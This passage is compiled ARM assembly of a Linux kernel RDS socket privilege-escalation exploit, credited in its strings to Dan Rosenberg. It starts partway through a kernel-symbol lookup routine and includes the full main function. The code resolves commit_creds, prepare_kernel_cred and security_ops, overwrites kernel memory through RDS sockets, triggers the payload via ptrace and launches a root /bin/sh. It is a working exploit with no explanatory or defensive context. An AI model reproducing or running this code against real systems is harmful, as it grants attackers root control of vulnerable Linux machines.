.L44:
	nop
.L24:
	sub	r3, fp, #912
	mov	r0, r3
	bl	uname
	sub	r3, fp, #912
	add	r3, r3, #130
	mov	r2, #3
	ldr	r1, .L45+56
	mov	r0, r3
	bl	strncmp
	mov	r3, r0
	cmp	r3, #0
	beq	.L38
	mov	r3, #1
	str	r3, [fp, #-920]
.L38:
	sub	r3, fp, #912
	add	r2, r3, #130
	sub	r3, fp, #520
	ldr	r1, .L45+60
	mov	r0, r3
	bl	sprintf
	sub	r3, fp, #520
	ldr	r1, .L45+4
	mov	r0, r3
	bl	fopen
	str	r0, [fp, #-932]
	ldr	r3, [fp, #-932]
	cmp	r3, #0
	bne	.L39
	mov	r3, #0
	b	.L40
.L39:
	mov	r3, #1
	str	r3, [fp, #-924]
	b	.L22
.L40:
	ldr	r2, .L45
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L41
	bl	__stack_chk_fail
.L41:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L46:
	.align	2
.L45:
	.word	.LC20
	.word	.LC6
	.word	.LC7
	.word	.LC8
	.word	.LC9
	.word	.LC10
	.word	.LC11
	.word	.LC12
	.word	.LC13
	.word	.LC14
	.word	stdout
	.word	.LC15
	.word	.LC16
	.word	.LC17
	.word	.LC18
	.word	.LC19
	.size	get_kernel_sym, .-get_kernel_sym
	.section	.rodata
	.align	2
.LC21:
	.ascii	"[*] Linux kernel >= 2.6.30 RDS socket exploit\000"
	.align	2
.LC22:
	.ascii	"[*] by Dan Rosenberg\000"
	.align	2
.LC23:
	.ascii	"2.6.3\000"
	.align	2
.LC24:
	.ascii	"[*] Your kernel is not vulnerable.\000"
	.align	2
.LC25:
	.ascii	"[*] Resolving kernel addresses...\000"
	.align	2
.LC26:
	.ascii	"security_ops\000"
	.align	2
.LC27:
	.ascii	"default_security_ops\000"
	.align	2
.LC28:
	.ascii	"cap_ptrace_traceme\000"
	.align	2
.LC29:
	.ascii	"commit_creds\000"
	.align	2
.LC30:
	.ascii	"prepare_kernel_cred\000"
	.align	2
.LC31:
	.ascii	"[*] Failed to resolve kernel symbols.\000"
	.align	2
.LC32:
	.ascii	"[*] Overwriting security ops...\000"
	.align	2
.LC33:
	.ascii	"[*] Overwriting function pointer...\000"
	.align	2
.LC34:
	.ascii	"[*] Triggering payload...\000"
	.align	2
.LC35:
	.ascii	"[*] Restoring function pointer...\000"
	.align	2
.LC36:
	.ascii	"[*] Exploit failed to get root.\000"
	.align	2
.LC37:
	.ascii	"[*] Got root!\000"
	.align	2
.LC38:
	.ascii	"sh\000"
	.align	2
.LC39:
	.ascii	"/bin/sh\000"
	.align	2
.LC40:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 432
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #432
	str	r0, [fp, #-432]
	str	r1, [fp, #-436]
	ldr	r3, .L55
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	ldr	r0, .L55+4
	bl	puts
	ldr	r0, .L55+8
	bl	puts
	sub	r3, fp, #400
	mov	r0, r3
	bl	uname
	sub	r3, fp, #400
	add	r3, r3, #130
	mov	r2, #5
	ldr	r1, .L55+12
	mov	r0, r3
	bl	strncmp
	mov	r3, r0
	cmp	r3, #0
	beq	.L48
	ldr	r0, .L55+16
	bl	puts
	mvn	r3, #0
	b	.L53
.L48:
	ldr	r0, .L55+20
	bl	puts
	ldr	r0, .L55+24
	bl	get_kernel_sym
	str	r0, [fp, #-424]
	ldr	r0, .L55+28
	bl	get_kernel_sym
	str	r0, [fp, #-420]
	ldr	r0, .L55+32
	bl	get_kernel_sym
	str	r0, [fp, #-416]
	ldr	r0, .L55+36
	bl	get_kernel_sym
	mov	r3, r0
	mov	r2, r3
	ldr	r3, .L55+40
	str	r2, [r3]
	ldr	r0, .L55+44
	bl	get_kernel_sym
	mov	r3, r0
	mov	r2, r3
	ldr	r3, .L55+48
	str	r2, [r3]
	ldr	r3, [fp, #-424]
	cmp	r3, #0
	beq	.L50
	ldr	r3, [fp, #-420]
	cmp	r3, #0
	beq	.L50
	ldr	r3, [fp, #-416]
	cmp	r3, #0
	beq	.L50
	ldr	r3, .L55+40
	ldr	r3, [r3]
	cmp	r3, #0
	beq	.L50
	ldr	r3, .L55+48
	ldr	r3, [r3]
	cmp	r3, #0
	bne	.L51
.L50:
	ldr	r0, .L55+52
	bl	puts
	mvn	r3, #0
	b	.L53
.L51:
	ldr	r3, [fp, #-420]
	add	r3, r3, #16
	str	r3, [fp, #-412]
	ldr	r0, .L55+56
	bl	prep_sock
	str	r0, [fp, #-408]
	ldr	r0, .L55+60
	bl	prep_sock
	str	r0, [fp, #-404]
	ldr	r0, .L55+64
	bl	puts
	ldr	r3, [fp, #-404]
	ldr	r2, [fp, #-408]
	ldr	r1, [fp, #-420]
	ldr	r0, [fp, #-424]
	bl	write_to_mem
	ldr	r0, .L55+68
	bl	puts
	ldr	r1, .L55+72
	ldr	r3, [fp, #-404]
	ldr	r2, [fp, #-408]
	ldr	r0, [fp, #-412]
	bl	write_to_mem
	ldr	r0, .L55+76
	bl	puts
	mov	r3, #0
	mov	r2, #0
	mov	r1, #1
	mov	r0, #0
	bl	ptrace
	ldr	r0, .L55+80
	bl	puts
	ldr	r3, [fp, #-404]
	ldr	r2, [fp, #-408]
	ldr	r1, [fp, #-416]
	ldr	r0, [fp, #-412]
	bl	write_to_mem
	bl	getuid
	mov	r3, r0
	cmp	r3, #0
	beq	.L52
	ldr	r0, .L55+84
	bl	puts
	mvn	r3, #0
	b	.L53
.L52:
	ldr	r0, .L55+88
	bl	puts
	mov	r2, #0
	ldr	r1, .L55+92
	ldr	r0, .L55+96
	bl	execl
	mov	r3, #0
.L53:
	ldr	r2, .L55
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L54
	bl	__stack_chk_fail
.L54:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L56:
	.align	2
.L55:
	.word	.LC40
	.word	.LC21
	.word	.LC22
	.word	.LC23
	.word	.LC24
	.word	.LC25
	.word	.LC26
	.word	.LC27
	.word	.LC28
	.word	.LC29
	.word	commit_creds
	.word	.LC30
	.word	prepare_kernel_cred
	.word	.LC31
	.word	6666
	.word	5555
	.word	.LC32
	.word	.LC33
	.word	getroot
	.word	.LC34
	.word	.LC35
	.word	.LC36
	.word	.LC37
	.word	.LC38
	.word	.LC39
	.size	main, .-main
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
